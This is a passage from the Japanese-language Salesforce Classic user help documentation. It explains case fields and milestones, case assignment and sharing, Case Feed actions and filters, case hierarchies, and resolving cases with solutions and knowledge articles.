に必要になる場合があります。エンタイトルメントプ
ロセスは、最大 300 回停止できます。エンタイトルメ
ントプロセスがケースに適用される場合、この項目が
表示されます。

ケースのエンタイトルメントプロセスが停止した日
時。エンタイトルメントプロセスがケースに適用され
る場合、この項目が表示されます。

中止開始日

顧客からの質問またはフィードバックに関する短い説
明 (Printing Gives Error on Internet

Explorer など)。

件名

ケースの進捗状況は、エンタイトルメントプロセスの
マイルストンへの到達度となります。マイルストンを

スケジュール

クリックまたはマウスポインタを置くと、マイルスト
ンの詳細が表示されます。次のアイコンはマイルスト
ンを表します。
•

完了したマイルストン
•

違反したマイルストン
スケジュールズームツールに沿ってハンドルアイコン
(  ) をドラッグすると、過去の将来のマイルストンが
表示されます。エンタイトルメントプロセスがケース
に適用される場合、この項目が表示されます。

ケースの種別 (質問、問題など)。システム管理者が項
目値を設定します。

種類

ケースが Web ポータルのユーザに表示されるかどう
かを示します。Web で生成されたケースをポータルで

セルフサービスポータルに公開

表示するには、この項目を Web-to-ケース設定に含め
ます。

Web-to-ケースまたはメール-to-ケースからケースを作
成した顧客によって指定された会社名。

Web 会社名
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説明項目

Web-to-ケースまたはメール-to-ケースからケースを作
成した顧客によって指定されたメールアドレス。

Web メール

Web-to-ケースまたはメール-to-ケースからケースを作
成した顧客によって指定された顧客名。

Web 氏名

Web-to-ケースまたはメール-to-ケースからケースを作
成した顧客によって指定された電話番号。

Web 電話

関連トピック:

ケースを処理するためのガイドライン

ケースレポートでの「対応期間」の計算方法は?

オープンケースの対応期間は、作成から現在までの経過時間を表します。クローズケースの対応期間は、作成
からクローズまでの経過時間を表します。ケースレポートには [単位] ドロップダウンリストが表示され、[対
応期間] を日、時間、または分単位で表示できます。

関連トピック:

ケースの項目
FAQ - Web-to-ケース

2602

ケース顧客のサポート



ケースのマイルストン関連リストの使用

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

ユーザ権限

ケースのマイルストンを
参照する
• ケースに対する「参

照」

ケースのマイルストンを
編集する
• ケースに対する「編

集」

ケースの詳細ページのケースのマイルストン関連リストには、エンタイトルメ
ントプロセスにより自動的にケースに適用されるマイルストンのリストが表示
されます。マイルストンは、サポートプロセスで必要なステップで、各顧客に
提供するサービスレベルを示す指標です。たとえば、マイルストンには、ケー
スの最初の対応や解決時間が含まれます。

メモ:

• ケースにマイルストンが適用されない場合、関連リストに「表示するレ
コードはありません」と表示されます。

• 関連リストには、会社がビジネスプロセスに基づいて表示対象として選
択した項目が含まれます。会社の要件に応じて、次の項目の一部または
すべてが表示されます。

アクション
マイルストンに実行できるアクションが表示されます。たとえば、ケースに
対する「編集」権限がある場合、[編集] をクリックして、マイルストンの完
了日を選択します。

メモ: カスタマーポータルユーザはケースマイルストンを編集できませ
ん。

マイルストン
ケースに適用されるエンタイトルメントプロセスの一連のステップの名前。
「エンタイトルメントの管理」権限がある場合、マイルストンの名前をク
リックして、エンタイトルメントプロセス、ケースの条件、タイムトリガ、
関連するアクションを参照できます。
次の表には、マイルストンに関連するアクションの種類について説明しています。

説明アクションの種類

マイルストンが正常に完了した場合に実行するアクション。完了が遅
れたマイルストンに対しても成功時のアクションは起動します。

成功時のアクション

マイルストンが違反に近い場合に実行するアクション。警告時のアクション

マイルストンが違反した場合に実行するアクション。違反時のアクション

管理者は、各アクションの種類について次のアクションを自動化するよう、マイルストンを設定できます。

例実行する内容ワークフローアクション

最初の対応マイルストンが違反の
場合にサポートエージェントが顧

ワークフロー ToDo の作成新規 ToDo

客に電話で通知する ToDo を作成し
ます。
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例実行する内容ワークフローアクション

ケースに対する最初の対応マイル
ストンが違反に近い場合、ケース
所有者に通知します。

メールアラートの作成新規メール

最初の対応マイルストンが違反に
近い場合、ケースの [優先度] 項目
を [高] に更新します。

項目自動更新の定義新規項目自動更新

最初の対応マイルストンが完了し
たら、パーツまたはサービスに関

アウトバウンドメッセージの定義新規アウトバウンドメッセージ

するデータを外部システムに送信
します。

既存のメールアラートを使用し
て、このケースの最初の対応が違

既存のアクションの選択既存のアクションの選択

反に近い場合にケース所有者に通
知します。

開始日
マイルストン追跡が開始された日時。

目標日
マイルストンを完了する日時。

完了日
マイルストンが完了した日時。

ターゲットレスポンス
マイルストンを完了する時間を示します。自動的に算出して、ケースに営業時間を追加します。会社のビ
ジネス要件に応じて、時間は分、時間、または日単位で表示されます。

残り時間
マイルストンが違反となるまでの残り時間を示します。自動的に算出して、ケースに営業時間を追加しま
す。会社のビジネス要件に応じて、時間は分、時間、または日単位で表示されます。

経過時間
マイルストンの完了にかかる時間を示します。自動的に算出して、ケースに営業時間を追加します。[経過
時間] は、[完了日] 項目の入力されている場合に限り計算されます。会社のビジネス要件に応じて、時間は
分、時間、または日単位で表示されます。

違反
マイルストンの違反を示すアイコン ( )。

目標以降の経過時間
マイルストンが違反となってからの経過時間を示します。自動的に算出して、ケースに営業時間を追加し
ます。この時間は、日数、時間と分、または分と秒で表示できます。

完了
マイルストンの完了を示すアイコン ( )。
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完了したマイルストンはケースの履歴の一部であるため、適用されなくなってもケースに残ります。

関連トピック:

ケースの項目
エンタイトルメント管理とは?

ケースの割り当て

エディション

使用可能なエディション:
Salesforce Classic

ケースの割り当てオプ
ションは、使用している
Salesforce のエディション
によって異なります。

ユーザ権限

ケースを参照する
• ケースに対する「参

照」

キューからケースの所有
権を取得する
• ケースに対する「編

集」

以下の方法でユーザまたはキューにケースを割り当てることができます。
• Web-to-ケース、メール-to-ケース用割り当てルール、またはオンデマンドメー

ル-to-ケースを使用
Professional Edition、Enterprise Edition、Unlimited Edition、Performance Edition、および
Developer Edition の組織では、Web およびメールで生成されたケースは有効な
ケース割り当てルールの条件に基づいて、ユーザまたはキューに自動的に割
り当てられます。
割り当てルールの条件に一致しないケースは、サポートの設定で指定されて
いる[デフォルトのケース所有者]に自動的に割り当てられます。

• ケースの作成または編集時に割り当てルールを使用
Professional Edition、Enterprise Edition、Unlimited Edition、Performance Edition、および
Developer Edition の組織では、ケースを作成または編集するときに、有効なケー
ス割り当てルールを使用して、ケースを自動的に割り当てることができま
す。ルール項目に一致したときのメールテンプレートがシステム管理者に
よって指定されている場合、新しい所有者にメールが自動的に送信されま
す。このチェックボックスをデフォルトでオンにする場合は、ユーザのシス
テム管理者が適切なページレイアウトを変更できます。必要に応じて、シス
テム管理者はページレイアウトを編集して割り当てチェックボックスを非表
示にできますが、ケース割り当てルールは引き続き適用できます。

• 複数ケースの所有権の変更 (システム管理者専用)

システム管理者、または「ケースの管理」権限を持つユーザは、1 つ以上のケースをユーザまたはキューに
手動で割り当てることができます。

• キューからのケースの取得
キューにあるケースの所有権を取得するには、キューのリストビューを表示し、1 つ以上のケースの横にあ
るチェックボックスをオンにして、[承認] をクリックします。

メモ: オブジェクトに対する組織の共有モデルによって、ユーザがキュー内のそのオブジェクトのレ
コードに対して持つアクセス権が決まります。
公開/参照・更新・所有権の移行

ユーザは、任意のキューのレコードの所有権を参照し、また、その所有権を得ることができます。
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公開/参照・更新可能または公開/参照のみ
ユーザは任意のキューを参照できますが、レコードの所有権が得られるのはユーザがそのキューの
メンバーである場合、または、共有設定に従って、ロール階層またはテリトリー階層でキューメン
バーより上位にある場合に限られます。

非公開
ユーザがキューからレコードを参照および引き受けできるのは、ユーザがそのキューのメンバーで
ある場合、または、共有設定に従って、ロール階層またはテリトリー階層でキューメンバーより上
位にある場合に限られます。

共有モデルに関係なく、ユーザが自分がメンバーであるキューからレコード所有権を取得するには、
「編集」権限を持っている必要があります。Salesforce システム管理者、ケースに対するオブジェクト
レベルの「すべての編集」権限を持つユーザ、および「すべてのデータの編集」権限を持つユーザ
は、任意のキューのレコードやそれらのメンバーシップを参照および取得できます。

• 単一ケースの所有権の変更
自分が所有する、または「参照・更新」権限を持っている 1 つのケースの所有権を移行するには、ケース
の詳細ページの [ケース所有者]項目の横にある [変更]をクリックし、ユーザ、パートナーユーザキューを
指定します。新しい所有者が、ケースに対する「参照」権限を持っていることを確認してください。[変更]

リンクは詳細ページでのみ表示され、編集ページでは表示されません。
Group Edition、Professional Edition、Enterprise Edition、Unlimited Edition、Performance Edition、および Developer Edition

の組織では、[メールで通知する]チェックボックスをオンにすると、ケースの新しい所有者に自動的にメー
ルが送信されます。

• 手動によるケースの作成 (デフォルトの割り当て)

割り当てルールチェックボックスが表示されており、それをオンにして割り当てルールを有効化しない限
り、[ケース] タブでケースを作成すると、作成者が自動的にケース所有者として表示されます。チェック
ボックスがデフォルトでオンになっている場合は、オフにすることで割り当てルールを上書きし、作成者
を所有者として割り当てることができます。

関連トピック:

ケースを処理するためのガイドライン
複数ケースの変更
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ケースの共有

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ケースを参照する
• ケースに対する「参

照」

システム管理者は、組織全体に対するデフォルトの共有モデルを定義します。
このモデルを変更して、システム管理者が設定したデフォルトよりも多くのユー
ザを共有するように拡張できます。ただし、デフォルトよりも厳しくするため
に共有モデルを変更することはできません。
共有の詳細を表示および管理するには、ケースの詳細ページで [共有] をクリッ
クします。共有の詳細ページには、ケースへの共有アクセス権を持つユーザ、
グループ、ロール、およびテリトリーが一覧表示されます。このページでは、
次の作業を実行できます。
• 項目の絞り込みリストを表示するには、[ビュー]ドロップダウンリストから

事前定義済みのリストを選択するか、[新規ビューの作成] をクリックして、
自分専用のカスタムビューを定義します。作成したビューを編集または削除
するには、[ビュー]ドロップダウンリストからビューを選択し、[編集]をク
リックします。

• 他のユーザ、グループ、ロール、またはテリトリーのレコードへのアクセス
権を付与するには、[追加] をクリックします。

メモ: 別のユーザとケースを共有するには、そのユーザにケースに関連
する取引先へのアクセス権があり、ケースに対する「参照」権限を持っ
ている必要があります。

• レコードへのアクセス権を持つすべてのユーザを表示するには、[リストの拡張] をクリックします。
• 自分で作成した共有の直接設定ルールについては、リスト内の項目の横にある [編集] か [削除] をクリック

すると、アクセスレベルを編集または削除できます。

関連トピック:

ケース

ケースフィード

ケースフィードの概要

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ケースフィードは、ケースの作成、管理、および表示をより合理的に行う方法
をサポートエージェントに提供します。ケースフィードにはアクションと Chatter

フィードが含まれます。アクションを使用すると、エージェントはケースメモ
の作成、活動の記録、ケースの状況の変更、および顧客とのやりとりを行えま
す。フィードでは、重要なケースイベントが時間順に表示されるため、各ケー
スの進捗状況を簡単に表示できます。
通常、ケースフィードページレイアウトに割り当てられているエージェントに
は、ケースを参照するときにスクリーンショットに表示されているようなペー
ジが表示されます。
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メモ: システム管理者はケースページレイアウトをカスタマイズできるため、組織のページレイアウトは
スクリーンショットとは異なる可能性があります。

• 強調表示パネル (1) — 取引先責任者情報、ケース名、ケースの説明、状況、優先度、ケース所有者など、
ケースの最も重要な情報の概要が表示されます。エージェントは、列の仕切りを使用して強調表示パネル
のセクションのサイズを変更し、最も関連性の高い情報の表示領域を広げることができます。

• フィードビューおよび詳細ビュー (2) — エージェントは、パブリッシャーおよびフィードが表示される
フィードビューからケースの詳細ビューに簡単に切り替えて、詳細情報を参照したり、関連リストを操作
したりできます。

• パブリッシャー (3) — エージェントがケースを操作するために使用するアクション ([メール]、[ケースメモ]、
[状況の変更] アクションなど) があります。

• 記事ツール (4) — エージェントは、ケースの解決に役立つナレッジ記事を検索し、ケースに添付したり、
顧客にメールで送信したりできます。

• フィード条件 (5) — 表示されるフィード項目を制限することで、エージェントはフィードの特定の情報を
すばやく見つけることができます。

• フィード (6) — ケースの履歴が時系列に表示されます。フィード項目は以下を対象に作成されます。
– ケースに関連する受信メールおよび送信メール
– カスタマーポータルまたは Chatter アンサーのケースに関連するコメント
– ケースについて記録された活動
– ケースの状況に対する変更
– ケースに対して作成されたコメント
– ケースに追加されたリンクまたはファイル
– ケースに関連するマイルストン活動
– ワークフローイベントによるケースアクション
– ケースに関連する新規 ToDo および行動
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• [フォローする] ボタンおよび [フォローされている人] リスト (7) — エージェントは、Chatter でケースの更新
が通知されるようにケースをフォローしたり、他のフォロワーを確認したりできます。

• カスタムボタンおよびカスタムリンク (8) — エージェントは追加のツールや機能を利用できます。
システム管理者は、ケースフィードの大部分の要素 (以下を含む) をカスタマイズできます。
• 強調表示パネルの項目
• 表示されるアクション、およびアクションに含まれる項目
• 使用可能なフィード条件、およびページ上のそのリストの表示場所
• フィードの幅
• 使用可能なツール、カスタムボタン、カスタムリンク、およびページ上のこれらの表示場所

関連トピック:

ケースフィードと関連リスト
ケースフィードのケースの詳細ページからのケースの参照と編集

ケースフィードでのフィード条件の使用

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

フィード条件を使用すると、サポートエージェントは、ケースフィードでケー
スを使用しているときに、すべての活動ログまたはすべてのメールメッセージ
など 1 つの種別のすべての更新を容易に確認できるようになります。条件を使
用することで、エージェントは、各ケースイベントを参照する必要なく、必要
な情報をより迅速に検索できます。
システム管理者は、フィードレイアウトの作成または編集時に使用する条件を
指定できます。
• [すべての更新]のみを選択すると、ケースのすべてのイベントが自動的に表

示され、個別のフィード条件のリストは表示されません。このオプション
は、サポートエージェントがケースの完全な履歴を表示できるようにする場
合に使用します。

• 1 つの種別のみのフィード条件を選択すると、その種別のケースイベントのみが自動的に表示され、個別の
フィード条件のリストは表示されません。たとえば、[すべてのメール] のみを選択した場合、各ケースの
フィードにはケースに関連するメールメッセージは表示されますが、ケースメモ、ポータルの返信、また
はその他の活動は表示されません。このオプションは、電話、メール、またはポータルなど主に 1 つのチャ
ネルでサポートを提供するエージェントやそのチャネルのみのケースイベントを確認する必要があるエー
ジェントに役立ちます。

• 複数の種別のフィード条件を選択すると、ケースフィードページの左のサイドバーまたはこのページの中
央のフィードの上に、使用可能な条件のリストがデフォルトで選択されている最初の条件を使用して表示
されます。たとえば、[すべてのメール]、[状況の変更]、[ポータルアンサー]を使用可能にしている場合、
各ケースのフィードには、デフォルトで、ケースに関連するメールメッセージが表示されます。他の条件
をクリックすると、他の種別のケースイベントを表示できます。このオプションは、エージェントが 1 つ
のチャネルでサポートを提供する傾向があるものの、他の種別のケースの更新を確認できる必要がある場
合に使用します。

また、システム管理者はフィード条件のリストが表示される位置と方法を次から指定できます。
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• 左列に固定リストとして表示。
• 左列にフロート表示リストとして表示。このオプションを使用すると、フィード条件リストはページをス

クロールダウンしても常に表示されます。これは、長いフィードを使用する場合に役立ち、エージェント
がページトップまでスクロールする必要なくページのどこからでもケースの活動を迅速に絞り込むことが
できます。

• 中央列にドロップダウンリストとして表示。
• コンパクトフィードビュー内のインラインリンクとして表示。このオプションは、コンパクトフィード

ビューでのみ使用できます。

関連トピック:

ケースフィードの概要

ケースフィードと関連リスト

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

従来のケースインターフェースでは、サポートエージェントは主に関連リスト
を操作して、活動の記録やメールの送信などのタスクを実行します。ケース
フィードでは、エージェントはこれらのタスクの一部をフィードから直接行う
ことができます。
従来のケースインターフェースに含まれる最も一般的な関連リスト、従来のケー
スインターフェースからエージェントが実行するタスク、およびエージェント
がケースフィードのどこでこれらのタスクを実行できるかに関する概要を次に
示します。
活動履歴

エージェントがこのタスクで使用するケースフィー
ド機能

タスク

パブリッシャーの [活動の記録] アクション活動の記録

活動ログフィード項目通話ログの参照

顧客メールの作成および返
信

• パブリッシャーの [メール] アクション
• [メール] 関連リスト

メールの参照 • メールフィード項目
• [活動履歴] 関連リスト
• [メール] 関連リスト

承認履歴

エージェントがこのタスクで使用するケースフィード機能タスク

[承認履歴] 関連リストケースの承認申請
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エージェントがこのタスクで使用するケースフィード機能タスク

[承認履歴] 関連リスト承認履歴の参照

添付ファイル

エージェントがこのタスクで使用するケースフィード機能タスク

ケースへのファイルの添付 • 記事ツール (Salesforce ナレッジ記事に添付する場合)

• [添付ファイル] 関連リスト

メールへのファイルの添付 • パブリッシャーの [メール] アクション
• [メール] 関連リスト

ケースに添付されたファイルの参照 • 添付ファイルフィード項目
• [添付ファイル] 関連リスト

メモ: ケースメモへの添付ファイルは、[添付ファイル] 関連リストには含まれません。

ケースコメント

エージェントがこのタスクで使用するケースフィード機能タスク

パブリッシャーの [投稿] アクション
ケースフィードの非公開コメントは、ケースメモに置き換えられまし
た。ケースメモは Chatter 投稿であり、[ケースコメント] 関連リストか
らは使用できません。

内部ケースメモの作成

投稿フィード項目ケースメモの参照

パブリッシャーの [ポータル] アクション公開顧客コメントの作成

ポータルフィード項目公開顧客コメントの参照

ケース履歴

エージェントがこのタスクで使用するケースフィード機能タスク

ケースの活動のフィード項目ケース履歴の参照

ケースチーム
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エージェントがこのタスクで使用するケースフィード機能タスク

[ケースチーム] 関連リストケースチームの作成

[ケースチーム] 関連リストケースチームの参照

取引先責任者の役割

エージェントがこのタスクで使用するケースフィード機能タスク

[取引先責任者の役割] 関連リスト取引先責任者の役割の作成

[取引先責任者の役割] 関連リスト取引先責任者の役割の参照

パブリッシャーの [メール] アクション顧客メールの作成および返信

コンテンツ配信

エージェントがこのタスクで使用するケースフィード機能タスク

[コンテンツ配信] 関連リストコンテンツの参照またはプレビュー

[コンテンツ配信] 関連リストコンテンツの作成および配信

メール

エージェントがこのタスクで使用するケースフィード機能タスク

顧客メールの作成 • パブリッシャーの [メール] アクション
• [メール] 関連リスト

メールの参照 • メールフィード項目
• [活動履歴] 関連リスト
• [メール] 関連リスト

活動予定

エージェントがこのタスクで使用するケースフィード機能タスク

ToDo の作成および編集 • パブリッシャーの [ToDo を作成] アクション
• [活動予定] 関連リスト

ToDo の参照 • ToDo フィード項目 ([ToDo を作成] アクションで作成した ToDo の場合)
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エージェントがこのタスクで使用するケースフィード機能タスク

• [活動予定] 関連リスト

行動の作成および編集 • パブリッシャーの [行動を作成] アクション
• [活動予定] 関連リスト

行動の参照 • ToDo フィード項目 ([行動を作成] アクションで作成した行動の場合)

• [活動予定] 関連リスト

関連ケース

エージェントがこのタスクで使用するケースフィード機能タスク

関連ケースの作成および編集 • パブリッシャーの [子ケースを作成] アクション
• [関連ケース] 関連リスト

関連ケースの参照 • 関連ケースフィード項目 ([子ケースを作成] アクションで作成した
ケースの場合)

• [関連ケース] 関連リスト

ソリューション

エージェントがこのタスクで使用するケースフィード機能タスク

[ソリューション] 関連リスト推奨ソリューションの参照

[ソリューション] 関連リストソリューションの検索

関連トピック:

ケースフィードのケースの詳細ページからのケースの参照と編集
ケースフィードの [印刷用に表示]

2613

ケースフィード顧客のサポート



ケースフィードの [印刷用に表示]

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

[印刷用に表示] オプションを使用すると、ケースに関連する情報の完全な一覧を
表示して印刷できます。
[印刷用に表示] には、どのケースフィードページからでも をクリックしてア
クセスでき、次の順序で情報が表示されます。
1. ケースの詳細
2. ケースの詳細ページに含まれている関連リストのコンテンツ
3. 内部メモ

メモとヒント
• ケースの詳細ページに含まれる関連リストに応じて、メールメッセージや活動ログなど、特定のケースイ

ベントは [印刷用に表示] に表示されない場合があります。メールと活動ログを含めるには、ケースの詳細
ページレイアウトをカスタマイズしてケースフィードユーザが [活動履歴]関連リストを追加できるように
します。公開ポータル投稿を含めるには、[ケースコメント] 関連リストを追加します。

• 内部メモは、[印刷用に表示] ページのヘッダー [Chatter] の下に表示されます。
• データのない関連リストは、ケースの詳細ページレイアウトに含まれていても、[印刷用に表示] には表示

されません。
• ケースの詳細ページレイアウトにカスタムリンクとカスタムボタンが含まれている場合、[印刷用に表示]

のケースの詳細セクションに表示されます。
• [印刷用に表示] には、最近の内部メモ投稿、リンク、およびドキュメントがそれぞれ 500 件、これらの投稿

のそれぞれに対する最近のコメントが 100 件表示されます。

関連トピック:

ケースフィードのケースの詳細ページからのケースの参照と編集
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ケースフィードのケースの詳細ページからのケースの参照と編集

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ケースを参照する
• ケースに対する「参

照」

ケースを編集する
• ケースに対する「編

集」

ケースを削除する
• ケースに対する「削

除」

ケースの詳細ページを使用して、ケースに関する詳細情報を参照および更新し、
関連リストを操作します。
ケースの詳細ページでは、次の操作を実行できます。
• ケース情報を参照して編集する。たとえば、取引先責任者情報と取引先情

報、状況、発生源、優先度、種別、原因を変更します。
• ケースの件名と説明を変更または更新する。
• 関連リストを参照して、追加タスクを完了する (ケースの承認履歴を参照す

る、ケースチームにメンバーを追加するなど)。
• ケースをクローズします。

メモ: 組織がインライン編集を有効にしている場合、ケースの詳細ページ
で使用できます。

ケースを参照しているときに、フィードビューとケースの詳細ページを切り替

えるには、 ボタンを使用するか、Salesforce コンソー

ルで作業している場合は ボタンを使用します。
ケースの詳細の印刷用表示を開くには、ケースフィードの任意のページ上で[印
刷用に表示] をクリックします。

関連トピック:

ケースフィードの概要
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ケース階層

ケース階層の表示

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ケースを参照する
• ケースに対する「参

照」

親ケースを参照する
• ケースに対する「参

照」

ケース階層には、[親ケース] 項目によって相互に関連付けられているケースが
表示されます。ケースが親ケースに関連付けられているときは、ケース間のリ
レーションを表します。リレーションでは、類似ケースをグループ化して簡単
に追跡できるようにしたり、1 つのケースを複数のケースに分割して、さまざま
なユーザが解決できるようにしたりします。ケース階層では、ケースはその上
の親ケースの下にインデントされて表示されます。
• ケースの階層を表示するには、ケース詳細ページの [ケース番号] 項目の横

にある [階層の表示] をクリックします。
• ケースを他のケースに関連付けるには、ケースを編集し、[親ケース]項目に

参照先のケース番号を入力します。または、ルックアップアイコンをクリッ
クしてケースのケース番号を検索します。

メモ: あらかじめ親ケースが存在していないと、[親ケース]項目に入力
し保存をすることができません。

• ケース詳細ページを参照しているときにそのケースに自動的に関連付けられ
た新しいケースを作成するには、[関連ケース] 関連リスト上で [新規] ボタン
をクリックします。[新規] ドロップダウンボタンから、空白のケースを作成
するか、親ケースの情報を継承するケースを作成するかのいずれかを選択で
きます。

関連トピック:

ケースを処理するためのガイドライン
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関連ケース

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ケースを参照する
• ケースに対する「参

照」

ケースを作成する
• ケースに対する「作

成」

システム管理者が設定した場合、ケース詳細ページには [関連ケース] 関連リス
トが表示され、直下階層のすべてのケースが表示されます。ケースは、ケース
編集ページの[親ケース]ルックアップ項目によって相互に関連付けることがで
きます。ケースが親ケースに関連付けられているときは、ケース間のリレーショ
ンを表します。リレーションでは、類似ケースをグループ化して簡単に追跡で
きるようにしたり、1 つのケースを複数のケースに分割して、さまざまなユーザ
が解決できるようにしたりします。
[関連ケース] 関連リストから、次のどれかをクリックしてください。
• 既存のケースを変更するには、[編集] をクリックします。
• 既存のケースをクローズするには、[完了] をクリックします。
[関連ケース] 関連リストから一括処理を実行するには、更新するケースの横にあ
るチェックボックスをオンにし、次のどれかをクリックします。
• 閉じる - 選択されたケースを指定した値を使用してクローズします。
• 所有者の変更 - 指定した 1 人のユーザまたは 1 つのキューにケースを割り当

てます。
• 状況の変更 - ケースの [状況] を設定した値に変更します。

関連トピック:

ケース階層の表示
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顧客からの問い合わせの解決

顧客からの問い合わせへの対応

ケースの解決

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ケースを解決する
• ケースに対する「編

集」

および

ソリューションに対す
る「参照」

ケースを解決する手順は、次のとおりです。
1. ケースを表示します。
2. ケースの質問への解答となる記事を検索またはソリューションを検索しま

す。
3. ソリューションのリストに表示されているレビュー済みソリューションの横

にある [選択]をクリックして、記事またはソリューションをケースに添付し
ます。または、レビューが済んでいないソリューションのタイトルをクリッ
クして、ソリューションの詳細ページの [選択] をクリックします。

4. [活動履歴] 関連リストで [メールを送信] をクリックすると、ソリューション
または記事が取引先責任者にメールで送信されます。
a. [テンプレートの選択] をクリックして、テンプレートを選択します。

システム管理者は、ケースの説明、ソリューションの詳細、ソリューショ
ンの添付ファイル、その他の項目を自動的に含めるようなメールのテン
プレートを作成できます。

b. メールの項目に入力します。
c. [送信] をクリックします。

メールで送信されたソリューションまたは記事が、[活動履歴] 関連リスト
に活動として記録されます。

5. ケースをクローズします。

関連トピック:

推奨ソリューションの概要
マルチ言語ソリューションの概要
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推奨記事を使用したケースの解決

エディション

使用可能なエディション:
Salesforce Classic、
Lightning Experience

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

ユーザ権限

サポート設定を変更する
• 「ケースの管理」

および

「アプリケーションの
カスタマイズ」

記事を表示する
• 記事タイプに対する

「参照」

推奨記事は、知識ベースのユーザがケースを迅速に解決するのに役立ちます。
新規ケースが保存されると、検索エンジンが自動的にシステム管理者が選択し
たケースの項目とキーワードが共通する記事を検索します。ケースで作業して
いるユーザは、検索された記事を一覧して、必要に応じてケースに添付できま
す。または、キーワードを変えて別の検索を開始することもできます。ケース
に添付した記事は、[記事] 関連リストに表示され、また、いつでも知識ベースを
検索できる [記事を検索] ボタンも表示されます。
推奨記事を有効にする手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「サポート設定」と入力し、[サポー

ト設定] を選択します。
2. [編集] をクリックして [推奨記事を有効化] を選択します。推奨記事と推奨ソ

リューションを同時に有効にすることはできません。
3. ケースを送信するときに推奨記事を受信する各利用者 (チャネル) を選択しま

す。推奨記事は、内部アプリケーションとポータルで利用できます。
4. [サポート設定] ページの作業が終了したら、[保存] をクリックします。

関連トピック:

Salesforce ナレッジの概要

ケースフィードのアクションを使用したケースの操作

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ケースフィードアクションを使用すると、サポートエージェントはメールの送
信、ポータルやコミュニティへの投稿、活動の記録、ケース状況の変更、ケー
スメモの作成などのタスクをすべて同じページで簡単に実行できます。
アクションは、パブリッシャーのフィードの上部に表示されます。
一般的なケースフィードアクションは、次のとおりです。システム管理者によ
る組織の設定方法によっては、これらのアクションの一部が表示されない場合
があります。
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• [メール] アクションを使用すると、メールで顧客に応答できます。一部の組織では、[メール] アクションと
[ポータル] アクションは [顧客への回答] アクションに組み込まれています。

• [活動の記録] アクションを使用すると、通話の詳細を記録できます。活動ログは、組織内の他のユーザに
のみ表示され、顧客には表示されません。

メモ: ソフトフォンを使用している場合、[状況] が [完了] になっている相互関係ログエントリのよう
に、終了した通話および通話メモはケースフィードに自動的に記録されます。

• [ポータル] アクションを使用すると、カスタマーポータルまたは Chatter アンサーコミュニティに対する返
信を投稿できます。

• [状況の変更] アクションを使用すると、エスカレーション、クローズ、またはケースの状況に対するその
他の変更を行うことができます。

• [質問] アクションを使用すると、質問を検索および作成できます。
• [投稿]、[ファイル]、および [リンク] アクションは、Chatter で見慣れたものと同じです。

– [投稿] アクションを使用すると、ケースメモを作成してケースに関する情報を共有したり、組織の他の
ユーザから支援を得たりすることができます。[投稿] アクションで作成されたメモは、ケースの詳細
ページの [ケースコメント] 関連リストには表示されません。

– [ファイル] アクションを使用すると、PDF、写真、または他のドキュメントをケースに追加できます。
[ファイル] で追加したドキュメントは、ケースの詳細ページの [添付ファイル] リストには表示されませ
ん。

– [リンク] アクションを使用すると、ケースに関連するリンクを共有できます。

関連トピック:

ケースフィードの概要
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ケースフィード記事ツールを使用した、記事の検索、添付、およびメール送信

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ケースフィードの記事を
使用する
• 「ケースの管理」

および

1 つ以上の記事タイプ
に対する「参照」

ナレッジ記事は、詳細なトラブルシューティング手順やその他の詳細情報が記
載されているため、ケースをすばやく解決するのに役立ちます。ケースフィー
ドの記事ツールを使用して、作業しているケースに関連する記事を検索したり、
ケースに記事を添付したり、記事を顧客にメールで送信したりします。

メモ: 記事ツールを使用する前に、システム管理者は Salesforce ナレッジを
設定および構成する必要があります。

•
をクリックして、記事ツールを開きます。

• デフォルトでは、作業しているケースの件名や説明に類似するキーワードまたはフレーズを含む記事がツー
ルに表示されます。目的の記事が表示されていない場合は、検索ボックスに新しい用語を入力して[再検索]

をクリックするか、[高度な記事検索] をクリックしてその他のオプションを表示します。
• 記事のタイトルと概要以外の情報を表示する場合、記事のタイトルをクリックして、新しいウィンドウで

記事を開きます。
• 目的の記事が見つかったら、その記事に対するアクションを選択します。

– 記事を PDF としてメッセージに添付するには、[顧客にメール送信] を選択します。
– 記事をケース添付ファイルとして追加するには、[ケースに添付] を選択します。
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ケースのクローズ

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ケースをクローズする
• ケースに対する「編

集」

顧客のケースを解決したら、いくつかの場所からケースをクローズし、同様の
ケースの解決に役立てるソリューションや記事を作成できます。
